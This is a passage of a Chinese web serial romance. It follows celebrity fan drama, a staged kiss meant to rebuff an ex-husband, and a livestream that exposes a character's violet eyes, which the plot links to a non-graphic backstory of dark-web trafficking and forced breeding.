大粉:{所以温栩栩还是欺负你了对吧!你就是碍于温栩栩的身份所以不得不低头!我懂了!} 你他妈!是不是!有病啊! 张梦瑶被这个粉丝气到心口疼。 她甚至都要以为这不是粉丝是间谍了。 张梦瑶:{求你了,别粉我了,你去粉别人吧。} 大粉不懂,自己明明是为了她为什么还这么说她。 她实在委屈,在网络上写了分析帖分析温栩栩是怎么欺负张梦瑶的,又是怎么推论出张梦瑶没有生病的。 这次张梦瑶剩下那群粉丝页不惯着她了,都让她醒醒。 甚至还有张梦瑶其它大粉嘲讽她吐槽她。 【你真不明白吗?温栩栩如果真的想欺负梦瑶,她一句话许总就能直接封杀梦瑶,所以这次温栩栩就是救场的。且不管这件事是不是真的,只要梦瑶说了,只要那人是温栩栩,那就是真的!你以为你是谁啊能在网络上当青天老爷呢?你什么身份什么地位啊在网络上造谣温栩栩欺负梦瑶?这事儿如果真被那边当真了那才是真的害死梦瑶了!你不是梦瑶的粉丝吧,我看你是黑粉,真正理智的粉丝是不会说出这种令人厌恶的话不断给梦瑶找麻烦的,麻烦你长点心好吗。】 【真的太可笑了,你说温栩栩抢梦瑶资源那里,你知道温栩栩粉丝为什么不出声吗,因为觉得可笑,因为觉得没必要,因为圈内人都知道温栩栩不会抢这种资源!】 大粉还是不懂,甚至将张梦瑶微博私信她的聊天记录发出去,甚至标注那那句{算我求你了祖宗,是我的原因,真的是我的原因,我还不想因为这点小事被圈子里的人嗤笑混不下去呢!},这句重点标红说张梦瑶是受到了温栩栩那边的威胁。 张梦瑶其它大粉人都傻了。 【你是不是有病啊!】 【这件事闹这么大你以为别人会笑温栩栩还是笑梦瑶!】 【你能不能安分点,梦瑶都不想你继续胡说了,甚至为了这件事特地私信你!这你都不信?你还想干嘛!】 【救命,你都把她逼成什么样了,你去粉别人行吗,别再揪着梦瑶不放了!算我求你了!】 张梦瑶理智的粉丝们都在吐槽她,大粉整个人都不明白自己到底什么地方做错了,因为这件事还特地上了个热搜。 #张梦瑶让粉丝去粉别人# 这词条点进去就能看到大粉发的跟张梦瑶的聊天记录,都被气笑了,甚至在此刻觉得张梦瑶是真的惨啊,谁捞到这样的粉丝谁倒霉,专门私信教育也完全不听话,反手就把私信截图发到网上,这是真有病。 就因为这一个人,圈内都出了个热梗,全都在问你要不要张梦瑶粉丝,你要吗,我不敢要。 张梦瑶看到热搜忍不住叹了口气。 她是真没想到这件事最后发展成这样。 经纪人却是松了口气。 “以后那粉丝还是换个人粉吧,不然还不知道要给你惹出多大的麻烦呢,虽然也算是个大粉,但这一个大粉顶多少黑粉啊,咱们是要不起了。” 确实是这么个事儿,整日这么作,谁要的起啊。 因为这事儿张梦瑶那大粉也有些自闭了,就这还被人追着骂。 到底是粉过自己的大粉,张梦瑶发了条微博希望大家不要再去打扰她,她就是年纪比较小不够理智,相信以后不会再冲动行事了。 张梦瑶发了这微博是真的吸了不少路人粉。 第725章 帮帮我,别推开我 坦白来说那大粉做的事其实挺恶心人的,好在被污蔑的是温栩栩所以大家都相信温栩栩,事情没有闹大,可但凡换个别的没有后台的小艺人,她发的那些足够害死人的。 这事儿没闹大也只因为对方是温栩栩。 不过张梦瑶为她粉丝出面发言确实是有担当的,不管怎么说,这人再幼稚再理智也确实是为了她,现在事情没有闹大,也不必揪着不放,因为这骂那大粉嘲讽大粉的人都少了。 大粉看到张梦瑶为自己发言感动的泪眼汪汪。 大粉私信张梦瑶:【梦瑶姐姐,我要粉你一辈子!!!】 她不仅私信发了,甚至微博也发了要粉张梦瑶一辈子。 张梦瑶整个人都麻了,她能说什么?她都不敢回,不,她现在还是很想回一句你去粉别人好不好! 一直关注热搜的吃瓜路人都被这进展笑喷了。 【哈哈哈不行了笑的我腰疼,救命啊,张梦瑶真的好惨啊,我真的觉得张梦瑶很不想要这个粉丝,但是因为是以前的粉所以帮忙开口,谁知道就因为这贴心举动让对方缠上她了,这样的粉丝粉一辈子那是噩梦啊!张梦瑶实惨!】 【张梦瑶私信的时候都希望她粉别人了,可见是有多怕这位粉丝了。】 【换谁谁不怕,本来圈内很火的顶流帮忙拍了点东西,脑残粉丝下一秒就骂人家抢资源,照这么弄以后张梦瑶圈内就没朋友了。】 【这位粉丝攻击力太高了,一个这样的粉丝顶多少黑粉可怕。】 【不行,以后有关于张梦瑶的黑料我真要多看几遍,不然我真的怕又来一个这样的大粉,再给张梦瑶祸害了。】 【对对对,你就粉张梦瑶就好了啊,张梦瑶可盐可甜善良且漂亮还对你这么好,你就粉张梦瑶一辈子就好了,切记一定不要让其他人占据了你的新房你的视线,其他人不配,你就专注爱张梦瑶就好了,张梦瑶有你这样的粉丝才是了不起哦~~】这话明显是其他家的粉丝发的。 结果那大粉看到还真以为对方是在夸自己夸张梦瑶,还特别感动的回了一句“谢谢你,你真是个好人。” 路人:…… 这喷不了,这是真蠢真没脑子真缺心眼啊。 看到这里的张梦瑶心口一抽一抽的,一时不知道该同情自己还是该同情那个听不懂人话的粉丝。 不是?就真的不能换个人去粉吗。 张梦瑶生无可恋的将目光转到自己经纪人身上,经纪人轻咳一声:“这样……这样也挺好吧,起码那些人都知道有些事不是你做错的,而且你这次帮她说话也赚了不少路人好感,对你也是有益处的。” 她现在就想让那个粉丝滚蛋。 “你放心,我以后会专门派人盯着她的账号,以防她再发布点什么不利于你的消息。”经纪人安慰她。 没办法了,也只能这样了呀。 张梦瑶憋屈的嗯了一声,目光却还是落在微博上,然后收到了温栩栩的微博私信。 她点开。 温栩栩:【哈哈哈哈哈】 张梦瑶:? 温栩栩不止发了一串哈哈哈,她甚至发了三串,可见其有多幸灾乐祸了。 张梦瑶人都麻了,只能抽了抽唇角死盯着微博,气都气不起来。 温栩栩还在《九月》剧组拍戏,看到这热搜是真乐颠颠的,却是根本没有注意到隐在暗处的助理一直盯着她看,甚至眼神中都透露出些许古怪之意。 拍完今天的戏已经是晚上九点了,温栩栩卸了妆懒洋洋的窝进休息沙发上。 等打开门打算离开时才发现站在门口的唐文晞。 她愣了下。 “你没走?” 她以为唐文晞早就该离开了,她也是知道这人的身份,分分钟多少万的人,怎么就在剧组干等着她呢?弄得她有那么点不好意思了。 唐文晞微微敛眉温和的笑了笑:“最近一段时间不太安全,你又要住在剧组的酒店,我有点担心。” 温栩栩怔了下。 担心? 她自问自己跟唐文晞之间真的没多少交情,硬要说的话也就是一起在国外旅游也就那么几天,而且他是许愿的哥哥,就算许愿说要把哥哥分给她她也是不能当真的。 “有什么可担心的,我身边也是有助理的,在剧组能出什么大事,是你太小心了。” 温栩栩说着笑了笑,唐文晞正要开口说话,倏地温栩栩扑进他怀中保住她。 唐文晞身体瞬间僵硬。 他能够闻到温栩栩身上带着的淡淡的香气,是那种很清爽的香味儿,他知道自己不可以多想,但他真的觉得温栩栩很瘦很软。 “帮帮我,别推开我。” 温栩栩抱住她,声音很轻,只有近在咫尺的他能够听到。 为什么突然这么说。 唐文晞抬头,休息室外的长廊不算太长,只抬头就看到站在不远处眸光晦暗眼神逼仄的男人。 是黎云笙,温栩栩的……前夫。 他终于知道温栩栩为什么突然示弱说让他帮帮她。 唐文晞抬手抚过她似乎在身后的身体,轻拍了拍她的后背,然后很轻的笑了笑。 头顶的灯光并不多明亮,是那种暖黄色的光,却衬得他整个人温润儒雅却也实在漂亮精致。 他捧住温栩栩的脸,温栩栩俯身在她额头亲了一下,在国外这或许只是礼节性的亲吻,但在国内足够让某些人误会了。 许愿和盛景炎赶到时看到的就是这一幕。 俊美如铸却又温润如玉的男人浑身笼罩在那层暖光之中,他眼底都藏匿着深情的温润的亲吻他面前的少女。 这副场景,美的就像一副画卷。 许愿整个人时完全愣住了,她当然知道自己不会认错人,那个在亲吻温栩栩的人是她那个被苏青莲养大的哥哥唐文晞。 什么时候的事? 唐文晞为什么会跟栩栩在一起? 她是愕然,盛景炎是不解,黎云笙则是痛苦。 才离婚多久,温栩栩身边就已经有了新欢。 对啊,她那么优秀,她身边永远都不缺优秀的追求者,当初若不是他用许愿来威胁温栩栩,她也不可能跟自己结婚……不是吗? 说到底,一切都是他算计来的。 第726章 黎家人都是自私的 黎云笙看到唐文晞和温栩栩抱在一起这样亲密的姿态,心口的疼痛感让他有些喘不过气,他站在原地没有动,看似面无表情,可只有他自己知道,心快要碎了。 许愿也不知道为什么会是这种发展,稍微愣了下神。 其实如果唐文晞喜欢栩栩的话也很不错,但问题是……这么短的时间内温栩栩会跟唐文晞一起吗?她怎么看都是不信的。 黎云笙能感受到自己心口处传来的痛感。 气氛一时有些古怪。 温栩栩的助理取了温栩栩的东西回来就看到这一幕,也懵了,不知道该不该上前,倒是温栩栩看了她一眼。 “我已经收拾好了,我这边有唐先生陪着我,你可以先下班了。” 助理也知道自己这时候不好留下来,赶紧道谢溜了。 温栩栩面上还是带着笑意的看向唐文晞,唐文晞能感受到她此刻有些茫然的恳求的眼神,他了然的牵住她的手,温栩栩似乎终于放下心,随着他一步步走近许愿。 “阿愿,你怎么也来了。” 她是真的有些好奇许愿为什么会来。 “网上除了那些事,虽然已经解决了但还是想来看看你。”许愿解释了下,然后就看着唐文晞,像是疑惑。 唐文晞只轻微点了下头,没有做什么解释。 许愿便没问。 “我今天有点累了,想回去休息了,有事的话我们晚些时候再聊。”温栩栩这话许愿听得出来什么意思。 她就是单纯的不想继续在这里了,不想继续面对黎云笙,她想逃想躲。 许愿内心隐隐的有点发酸,却还是应了声。 温栩栩一直没有去看黎云笙,在经过对方时,手被他握住。 她听到他说“温栩栩,我们谈谈。” 谈什么?还有什么好谈的? 那些已经过去的事,再提起也只会让她更痛不是吗! 温栩栩望着他一时都有些想发笑,唐文晞先一步将她的手从黎云笙手中抽出来,然后紧紧握住,面上还是那副温和的模样,只是开口的话却多少带着点冷意的。 “黎总有这个时间不如和我聊一聊。” “黎总和栩栩有什么可聊的?栩栩没有这个心情,毕竟黎总和栩栩已经离婚了不是吗。” 唐文晞是真的半点面子都没给他,直言两人已经离婚。 黎云笙面色愈冷,唐文晞还是那副温和模样。 “栩栩是不会跟你谈的,黎总不如和我谈。” “你跟温栩栩又是什么关系,你能代替温栩栩?” 黎云笙这话果然是带着嘲意的。 唐文晞轻笑:“黎总看不出来吗,我会是温栩栩以后的爱人。” 黎云笙呼吸一顿,死死盯着他。 唐文晞又在笑,许愿看着这一幕,突然明白为什么以前那些跟唐文晞谈判过的资本都不想再跟唐文晞有什么合作,无他,纯粹是太气人了。 温栩栩跟唐文晞之间有什么关系许愿是绝对不信的,但偏偏两人确实是亲了那么一下。 啧,许愿都有些不知道说什么了。 黎云笙目光中略过明显的冷意,他还在盯着温栩栩,似乎是在等温栩栩的回应,温栩栩只微微垂下眼睫,像是默认一般。 “所以,黎总要谈一谈吗。” 唐文晞明显占上风。 “谈。” 黎云笙嗓音带着明显的哑意。 剧组附近也是有些饭店甜品店的,都这个时候了,两人也不挑随便选了个饭店定了包厢。 唐文晞随意的点了几道菜,饭店先上了两茶,都是些普通口味的茶,这个时候也没什么可挑的。 唐文晞喝了口茶,仍能感受到黎云笙看向自己的眼神明显带着凉意。 如果眼神也能杀死人,唐文晞真觉得自己现在可能死了千百次了。 他像是有些无奈的摇了下头。 包厢内的灯光并不是刺眼的白炽灯,也是那种暖黄色的灯光,这附近这种灯较多一些,可再是温暖的光亮也暖不热包厢内的气氛。 此刻没有任何人率先开口,两人都在僵持,又或者说等着对方先开口。 倒是都能耗时间。 期间唐文晞还接了个工作上的电话,唐文晞只扫了黎云笙一眼淡淡的吩咐了几句,顺便将线上会议也改了时间。 这通电话后,唐文晞将手机关机放到桌沿,桌上的茶已经冷掉了。 他没有让服务员再续一壶,倒是真的喝了口已经冷掉的带着点苦味的茶水。 “其实我调查过黎家。” 唐文晞开口了,他是笑着的,可那笑容里面总是多了几分深意。 “黎家人真可以用满纸荒唐言来形容,出轨家暴五毒俱全的父亲,往上数几倍也都是靠着吃绝户发家,一直将女性当做生育机器,一直要的就是儿子,你祖爷爷,爷爷乃至你的父亲每一个都是将女性当做工具,而那些嫁进黎家的女性也在这些年被你们黎家人磨的没有了傲骨。” “你们黎家人本质上骨子都是凉薄的自私的。” “其实我还挺佩服你的奶奶,站在她的立场来看,我不觉得她做错了什么。” “她就是看多了黎家男性做的那些荒唐事恶心的事所以才想要夺权,当然不排除她也是自私的,可人不就是自私的吗?怎么你们黎家出生的黎氏子弟就是黎家人,嫁进黎家的女性就不是黎家人了吗?你们黎家不是一直将嫁入黎家女性的财产都当做黎家的东西?Z嗯么你奶奶就不能反过来将黎家的东西看作是自己的?” “她这些年到底是受过苦的。” “你的爷爷是个混蛋,外面的私生子数不胜数,早年是如何对你奶奶的你也能查得到,而她为了巩固自己地位一直不停的生男孩,也就是你的父亲,被你爷爷教养成了什么混球?你看看你遍地跑的私生子兄弟就该知道了。” “她在这样的家庭环境下想要夺权当然是没错的,难不成你还真让她将所有的希望都放到你的身上吗?谁又能保证身体内流着黎家人那样肮脏血液的你不会像你的父亲你的爷爷那样变成一个混蛋。” 第727章 还挺有缘的 唐文晞就是在攻击黎家攻击黎云笙。 在A市最乱的就是黎家了,就是盛景炎所在的盛家都没有黎家这样一团乱麻。 盛景炎的父亲好歹知道自己有多少个私生子,可黎家的私生子数不胜数。 “所以你想说什么。” 黎云笙开口。 他并不是蠢货能轻易被唐文晞PUA。 黎老太太的确可怜,但他自认自己没有做过什么对不起她的事,对不起她的事黎家其他人,跟他有什么关系? 就因为她可怜就能对他的母亲出手害死他的母亲?就能够给他下毒想让他死于慢性病? 她在黎家这么多年早就已经被黎家人同化了,所以他和黎老太太之间注定的只能活一个,他不认为自己有错。 唐文晞看他并不放在心上也只是很轻的笑了下:“果然,你们黎家人骨子里就是冷漠的。” “其实我也不明白你怎么敢真的同意我的请求跟我来这里谈话。” “坦白来说,你已经不配跟我比了。” 唐文晞眼神暗了几分。 “你和温栩栩的初遇就不够美好,无论过多久只要提起你们之间的初遇就会想到是为了利益,温栩栩是为了许愿,而你是为了找一个替身。” “本质上那时候你们都没做错什么,毕竟你们都未婚,你们之间只是一种交易。” “可偏偏温栩栩想要断了这段关系的时候你在逼婚。” “你到底为什么逼婚?是为了你那位青梅还是真的离不开温栩栩?那时候你自己心里如何想的你说得清吗?” “就算真的只当她是替身便也算了,她那样优秀你迟早会将心放到她身上,可谁能想到你将她完全的当做了工具……在你心里你的青梅永远都是最重要的。” “你在欺骗她,甚至想用她的命去换你那个虚伪的满口谎言的肮脏的青梅的命。” “黎云笙,就凭你做的这些事你拿什么跟我比?” 唐文晞咄咄逼人。 “我是许愿的哥哥,我自小在苏青莲身边长大,我当然明白要如何尊重女性,跟我在一起她不必担心任何事因为我永远都是她的后盾。她想要钱我就给她钱,她想要权我一样能给她权,她想要的一切都能给她,她感激许愿我自然也是如此。” “所以你拿什么跟我比呢?” “你有什么地方能比过我的?” “如果我是你,我会早早退出,而不是让自己继续横在我们之间成了那个无端的变数。” 其实唐文晞说到这里是有一点点当真的。 现在他对温栩栩当然是没有多少感情的,但就像他说的,温栩栩优秀漂亮,喜欢上她是迟早的事。 就算不喜欢,他为了责任也会守着他护着她。 早年温栩栩为许愿做了那么多事,他当然是感激温栩栩的,所以他会选择护着温栩栩,不会让她受伤。 黎云笙看着他,一时有些恍惚。 唐文晞说的很对,他拿什么跟唐文晞比? 他在这一刻甚至觉得自己步了傅京礼的后尘。 可他甚至都不配去跟傅京礼比较,因为傅京礼从始至终都没有想过用许愿的命去换许宁的命,他做的最错误的一件事就是为了许宁跟许愿离婚。 他甚至不如傅京礼。 温栩栩和许愿的脾性那么像,许愿都不肯原谅傅京礼,温栩栩又怎么可能真的选择原谅他? 她们之间还真的有可能吗。 心里有一道声音不停地重复好像在告诉他,已经没可能了。 可他就是不甘心……是的,不甘心。 “我想黎总应该明白我的意思。” “所以,还希望黎总不要再打扰温栩栩。” 唐文晞站起身,离开之际只是眸光浅淡的扫过黎云笙,然后再没有多看一眼。 就像他说的,他认为黎云笙不配与自己相比是真的。 黎云笙目光平静的看着桌上的菜色,面上却是丁点笑意都露不出来,眼神却越来越暗。 手机响起来,是助理打来的。 “黎总,闫凯旋导演说《九月》剧组已经不需要投资了……是唐先生那边已经跟闫凯旋导演联系好了,后续需要多少投资唐先生这边会直接打款,前提条件就是闫凯旋导演不能再接受其它投资。” 他似乎是早就猜到黎云笙会跟剧组联系,所以做好了打算,最大的投资人是唐文晞,绝不会是黎云笙了。 他就是不想黎云笙再接触到温栩栩。 黎云笙嗓音沙哑:“我知道了,《九月》剧组不必在盯着了。” 挂断电话后黎云笙叫了几瓶酒,一瓶一瓶灌下去。 唐文晞离开饭店远远的就看到许愿和盛景炎的车停在路边,许愿指了指附近另一家酒店,唐文晞自然不会拒绝。 他也知道许愿会问自己什么了,所以也是打算说清楚的。 包厢早就定好了,几人进了包厢菜都已经上桌了,这里的菜色肯定是比不上华庭,但也算凑合了。 “我已经知道你给《九月》剧组投资的事情了,我实在好奇你跟栩栩到底是什么关系,你到底怎么想的?” 许愿想知道的事情一般没人能瞒得住她。 她也只是简单调查了下就知道唐文晞成了剧组最大投资人的事情。 许愿虽然没有多了解唐文晞,但对温栩栩绝对算是了解了,温栩栩不是那种见一面就会托付终身甚至跟人恋爱的性格。 她和唐文晞绝对只能算是好友,至于今天跟唐文晞亲吻这件事,她猜着多半是温栩栩看到了黎云笙所以跟唐文晞作秀。 可温栩栩清楚这些,唐文晞清楚吗?可别真的把这一切当成了真的。 “我跟温栩栩只能算做是朋友,投资剧组也是猜到黎云笙会投资,我猜温栩栩也不姓再见到黎云笙,所以才会投资。” “而且温栩栩很有潜力,这部剧的导演也是国内知名导演,绝对会火会上星的剧我为什么不投资。” 这事儿做的确实是一点错都没有,许愿都挑不出错的。 “我不太清楚你跟栩栩是怎么认识的。” 这事儿许愿是真不知道。 唐文晞简单将自己跟温栩栩国外偶遇的事情提了下,但是并没有提埃尔斯和暗网的事情,他是真的不希望许愿担心。 “那还挺有缘的……” 许愿小声嘟囔了句,然后用挑剔的眼神盯着唐文晞。 第728章 紫色的眼睛 真要问许愿和温栩栩关系好还是跟唐文晞关系好,那许愿绝对选温栩栩的,别说跟温栩栩比了,就算跟沈略比都要往后面站的。 “你对栩栩什么看法?”许愿问这话时明显有点警惕。 唐文晞失笑:“她是个很好的姑娘。” 那当然了! 许愿有点骄傲。 “我知道栩栩很好,但是你最好管住你自己的心,不要去喜欢栩栩,栩栩也不是谁的爱都会接受的。” 唐文晞顿了下才开口:“这个我可能没有办法保证。” 许愿瞪他。 唐文晞摆摆手似乎是有点无奈。 “你也知道温栩栩漂亮优秀,我是不能保证自己不喜欢她的,就像当初你跟盛景炎,盛景炎最后不也动心了?” 盛景炎默默低头。 这没办法反驳,他就是会被阿愿吸引的,不说他,就是换其他男人也会被阿愿吸引的,说起来还算他运气好在那个许愿最需要人陪伴的时候遇到她。 “阿愿,你只要记住我不会伤害温栩栩就够了。” 他不会伤害温栩栩,且会阻止其他人伤害温栩栩。 许愿似是也有些无奈,缓了片刻到底还是妥协了。 许愿当然不傻,唐文晞的条件算是很好了,且唐文晞是苏青莲养大的,他肯定最明白如何尊重女性的,相貌也好身高也好再加上他自己拼出来的地位,可以说他真的是很好的结婚对象。 足够稳重,足够温柔,也足够护短。 许愿突然忍不住想,如果当初温栩栩最先遇到的是唐文晞该有多好呢? 如果遇到的是唐文晞,那温栩栩就不会这样伤心了,一定会一直开心一直幸福的。 可这世界上哪有那么多的如果呢? 就像她当初不也一直对自己说,如果最先遇到的是盛景炎而不是傅京礼该有多好。 但缘分这种事情谁又能说得清呢。 只要是冥冥中能够在度遇见就足够了,谁又能说这不是最好的安排? 许愿叹了口气,这次语气认真且郑重。 “唐文晞,栩栩是我非常重要的亲人,是我从小一起长大的关系最好的姐妹,如果你真的对栩栩有意,而恰好栩栩也对你有意请你答应我……一定,一定要对栩栩非常好,不,要对栩栩最好才可以。” “但如果栩栩没有其他意思,也希望你不要过多纠缠,不要给她带来困扰。我是真的非常希望栩栩能够过得开心。” 许愿一直以来都认为自己对温栩栩是有亏欠的。 她其实没有想过温栩栩竟然真的胆子大到可以自己去见黎云笙,甚至用她自己的身体去为她拼一个未来。 她直到现在都不能去想当初才成年的温栩栩有多害怕多恐慌。 将自己当成一个交易物品任人宰割,多可怕。 所以许愿真的不能再看到温栩栩受伤了。 唐文晞当然明白许愿这话的意思,她在告诉他,她许愿是温栩栩的后盾,任何人都不能欺负温栩栩。 唐文晞失笑,他伸出手:“那拉钩盖章。” “你好幼稚。”许愿也笑了,却还是跟他拉钩盖章。 她想,栩栩,我真的希望你可以开心快乐,不要再受到任何伤害了。 “如果你这里没有其他的事,我就先去陪她了。” 唐文晞收回手就已经要离开,惹得许愿都有些无语,但也没拦他。 等包厢里只剩她和盛景炎两人了,许愿才窝进盛景炎的怀中,忍不住开口:“她是不是对栩栩关心的太过了,我总觉得他对栩栩不太一样,有点太在乎了,真有人才认识这么短时间就情根深种的吗?” 盛景炎握住她的手捏了下:“我们之间不是吗?” 那确实是。 许愿不纠结了,从他怀里跳下来。 “我记得栩栩的助理发了微博说是今晚会有直播,我去看看栩栩的直播。” 温栩栩已经开始直播了,许愿切进去的时候看到温栩栩已经换上了一套熊猫睡衣,看着可可爱爱的。 …… 温栩栩这个直播还是助理提醒她开的,说是她的粉丝都担心温栩栩因为张梦瑶的事情受委屈,所以想看她开直播。 温栩栩一直都很宠粉,粉丝都这么说了,就定了晚上开直播。 唐文晞敲门后是助理开的门,温栩栩回头看了他一眼,然后笑了笑才继续直播。 直播屏幕马上有人问事谁来了,温栩栩笑说是朋友,立刻有人猜是不是许愿。 “不是阿愿,不过阿愿今天确实是有探班。” “对,跟盛总一起来的。” “你们问盛总的腿?阿愿对此很有信心,大概过不久盛总就恢复正常要跟阿愿求婚了。” 温栩栩看着直播屏幕不少人都在刷想看她跳女团舞。 温栩栩宠粉,没有拒绝,去换了件方便跳舞的衣服,让助理又调了下手机。 C位出道的全能爱豆就是不一样,舞曲才放温栩栩就已经完全踩点跟上了,是很帅的爵士舞,粉丝们又在嚷嚷想看温栩栩穿高跟鞋跳舞,还要十厘米那种高跟鞋,温栩栩无奈但也听了。 只是穿着高跟鞋跑过来时脚下一滑就要往后摔。 踩着十厘米高跟鞋,这么一摔身体肯定要出问题。 唐文晞眼疾手快的冲过去揽住她的腰身让她站稳身体。 温栩栩惊魂未定的道谢:“谢谢……” 唐文晞只摇了下头:“你没事就好。” 直播间屏幕都快要炸了。 【那谁啊!栩栩那是谁啊!你说的那个朋友就是这位吗!】 【好漂亮的男人的,真的是完美的精致的那种啊啊啊!这是栩栩你的朋友吗,是即将出道的新人吗!】 【好利索的身手,但凡慢一步我们栩栩都要摔的!这哥真的厉害!栩栩你跟妈妈说这到底是朋友还是男朋友!你说真话妈妈能撑得住!】 【等会儿!你们有没有发现这哥们的眼睛是紫色的!是那种超绝的紫罗兰颜色的!他是不是一直带着隐形眼镜啊,刚才隐形眼镜滑片了!一闪而过的眼睛是紫色的!】 【这么漂亮的大帅哥!搭配紫色眼睛!我天好绝啊!】 【紫色的漂亮眼睛,我舔,我舔我舔舔舔!】 但是看到直播屏幕的唐文晞身体彻底僵住。 他眼睛的颜色……暴露了…… 第729章 从夸奖到辱骂 【帅哥的眼睛真的好漂亮啊,是栩栩即将出道的艺人朋友吗?】 【栩栩你不要让他走啊,我还想看紫色眼睛的漂亮帅哥啊啊!快把帅哥给我抓回来!】 唐文晞在察觉到隐形眼镜滑片后退出直播间,温栩栩似乎还没反应过来,等目光落到直播间就看到直播间都在刷什么。 紫色眼睛…… 她们都在刷紫色眼睛? 温栩栩有些茫然,根本不知道唐文晞是紫色眼睛,而且……紫色眼睛怎么了,很漂亮啊,唐文晞为什么要遮掩?为什么要将这么漂亮的眼睛藏起来? 直播间还在不停刷着唐文晞漂亮的紫色眼睛,这群人甚至有些激动的去微博发疯。 毕竟那可是紫色眼睛的大美人! #紫眼睛美男# {有没有人去看温栩栩的直播呜呜呜,我相信不是我一个人啊,栩栩差点摔倒的时候那个扶住她的帅哥眼睛肯定是紫色的对吧!} {是紫色的是紫色的,漂亮到让人心肝儿都颤啊!} {那双眼睛像宝石,紫罗兰颜色的宝石,我看到那一瞬间什么都想不到了,满脑子都是那双眼睛,如果是在白天,在太阳的光芒下是不是会更漂亮?} {你们到底在说什么?谁紫色眼睛?这世界上真的有漂亮到这种程度的紫眼睛的人,就没听过,别是在演戏炒作装的吧!} {就是,温栩栩是不用炒作了,但不代表她身边的人也不炒作,万一这个人就是想要利用温栩栩的直播间想要火一把,故意带了美瞳或者隐形眼镜呢!} {你们是不是有病,你们的意思是说他先戴了紫色的隐形眼镜然后又带了黑色的隐形眼镜,在温栩栩险些摔倒的时候故意在接住她的那几秒控制住隐形眼镜让它滑片?你听听你们说的是人话吗,是不是有些过于离谱了。} {怎么可能是演的,真要不是紫色眼睛也没必要装紫色眼睛,你们这群质疑的纯粹就是没见过他长什么样子,但凡你们见过他的样貌就没这个时间质疑了,都美成那个样子了根本没必要用自己的眼睛炒作!就冲那张脸他但凡出道我就立刻粉他!} 微博上闹哄哄的全都在讨论唐文晞紫色的眼睛,也已经有人认出了那是唐文晞,查出唐文晞的身份后还有些震惊,赶紧在网上澄清。 {你们快别说了,那位是唐文晞啊,唐文晞知道吗?不知道唐文晞总该知道TS集团吧,在海外是超强资本的TS集团总裁就是唐文晞!谁家总裁给你们故意演这出闹个紫色眼睛的笑话来出道啊!} {那可是唐文晞!跟薛酒并列商圈两大美男的唐文晞!} {说谁不到不行你们说唐文晞出道,人有这个时间都能赚多少钱了跟你们在这里耗这个?又没病。} {我天,难道只有我在震惊我们栩栩竟然跟唐文晞关系这么好吗,我们栩栩身边到底是有多少大佬啊,我真的是膜拜了,许愿也就算了,现在还来了个唐文晞,他不会是在追求我们栩栩吧!} {也……也可能唐文晞是许愿的朋友,毕竟TS集团跟盛世和盛华都是有过合作了,碰巧遇到……} 现在也没多少人喷温栩栩不配了,毕竟前脚喷了下一秒就可能被告了。 温栩栩到底是有资本的,就算真有人质疑,但是看到有人带点赞回复就立刻删除微博,生怕点赞数超了转发量超了会被盯上直接起诉,这是真怕了。 许愿那边钱多律师多,甚至可以一个一个告,他们可耗不起。 一直关注着温栩栩甚至连温栩栩开直播都要看的傅长海当然也看到了唐文晞隐形眼镜突然滑片暴露出的紫色眼睛。 傅长海整个人都是震惊的。 碍于埃尔斯的威胁,傅长海特地找人调查了当年暗网培育天使的所有资料,可以说是能查的都查了,除非是一部分完全被销毁的,傅长海几乎都搜寻到了,甚至还有埃尔斯那边授意寄来了一张光碟,傅长海不知道是什么让埃尔斯这样郑重。 但是放映后就知道光碟内部是一男一女亲密的碟片,她们全都漂亮到极致,特别是那个混血女人,有一双非常漂亮的让人见之难忘的紫罗兰颜色的眼睛。 那一男一女在那些人眼中几乎不被称之为人,她们像是被圈养的配种的牲畜。 饶是傅长海这种心黑的人也没能看完这张碟片,甚至看了个开头就已经干呕不止。 只是看到开头傅长海脑内就已经想到了太多。 他是恶人,但想的最恶的事情就是将人弄死也就罢了,而不是将人圈养起来一直折磨。 傅长海整个人都是慌的,想到了埃尔斯威胁他傅嘉誉的样貌也很好这种话就觉得骨头缝都是冷的。 他根本不敢想象自己的女儿被那种人渣抢走会有什么样的下场,不敢想也不忍想。 所以傅长海就一直在盯着温栩栩,想要趁早将温栩栩绑走给了埃尔斯也好不再继续惶恐害怕。 可万万没想到温栩栩的直播间竟然出现了紫色眼睛的男人。 唐文晞就是那个紫色眼睛的男人,紫色眼睛代表什么? 傅长海只是想就觉得浑身冷了。 傅长海看到了这些,埃尔斯又怎么可能看不到呢,埃尔斯同样也在一直关注着温栩栩,在看到唐文晞隐形眼镜滑片的那一瞬间埃尔斯大笑出声。 埃尔斯本来就有猜测,但没想到唐文晞真的是他们的后代! 逃跑的天使的后代! 他和温栩栩就该一起被抓起来关起来然后不停地……生下更多的小天使。 怪不得唐文晞在看到他一直盯着温栩栩甚至听到自己说的那些话后是那样警惕的表情。 埃尔斯突然开始哈哈大笑,竟然已经知道怎么去笼络有些难搞的贵族了。 网络上本来还在夸唐文晞的眼睛漂亮,想贴贴亲亲,还在夸唐文晞少年有位呢,可下一瞬网络风向就彻底变了。 从最开始的赞美和夸奖变成了疯狂的辱骂和诅咒。 第730章 宠物狗 #紫眼睛奴隶# #紫眼睛天使# #紫眼睛配种# #暗网逃出的天使# 一个个词条全都是跟紫眼睛相关的。 网友本来就在看唐文晞相关的资料,可热搜变得太快了,完全像是有人带节奏一样的辱骂着紫色的眼睛。 {你们以为紫色眼睛是什么好东西吗,还在那里夸,有什么可夸的,紫色眼睛的人再漂亮也就是上不得台面的宠物犬!} {听说过国外的暗网吗?二十多年前国外的暗网最盛的时候暗网内部有两个非常漂亮的人,一个是紫色眼睛的混血白人女性,一个是精致漂亮的华人男性,她们是暗网最强的王牌,最好卖的角色,当初有多少任务诶次慕名而来拍下两人玩乐,那个时间是最奢靡的时间,也是暗网最赚钱一段时期。但是渐渐的有人做了实验认为海外贵族更喜欢幼童,特别是漂亮精致的像天使的幼童,而他们两人就是极致漂亮,她们生下的孩子绝对漂亮,如果是有紫色眼睛的孩子那更是能拍个好价钱,所以这一男一女就成了他们口中可以随时配种的工具,令他们惊讶的是这两人的眼睛全都随了女人,全部都是紫色眼睛。} 